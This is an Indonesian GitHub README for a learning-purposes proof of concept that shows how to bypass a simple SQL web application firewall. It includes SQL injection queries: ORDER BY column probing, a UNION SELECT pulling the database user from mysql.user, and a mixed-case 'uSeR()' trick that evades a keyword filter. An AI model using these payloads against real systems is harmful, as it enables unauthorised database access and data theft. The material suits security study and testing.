HarshilPatel007 / sql-bypass-waf

SQL Bypass WAF merupakan tools yang membantu membypass WAF pada sql dengan menggunakan payload yg sudah ditentukan

Bypass SQL Web Application Firewall

Proof of Concept untuk Bypass WAF berbasis SQL, untuk keperluan Pembelajaran Saja.

php sql-waf.php

Proof of Concept

!!! Query Berikut dapat bervariasi, tergantung komputer anda. !!!

-- Contoh Query Sebuah Baris dengan 3 output
SELECT * FROM `table_name` WHERE `id` = 1337;

-- Contoh Query yang di-inject
SELECT * FROM `table_name` WHERE `id` = 1 ORDER BY 3; -- Estimasi Jumlah Tabel
SELECT * FROM `table_name` WHERE `id` =-1 UNION SELECT 1, user(), 3 FROM mysql.user; -- Mendapatkan User yang digunakan oleh Koneksi SQL

Dari Gateway bisa saja Memblokir Query yang mengandung resiko, ini adalah contoh WAF yang sederhana, dan kita dapat mencoba menerobos filter ini dengan menyuntik Query itu dengan query yang lainnya.

-- Contoh Kasus: function user di filter

SELECT * FROM `table_name` WHERE `id` =-1 UNION SELECT 1, user(), 3 FROM mysql.user; -- Output: Error

-- Contoh Query yang dapat menerobos filter ini
SELECT * FROM `table_name` WHERE `id` =-1 UNION SELECT 1, uSeR(), 3 FROM mysql.user; -- Output: user@localhost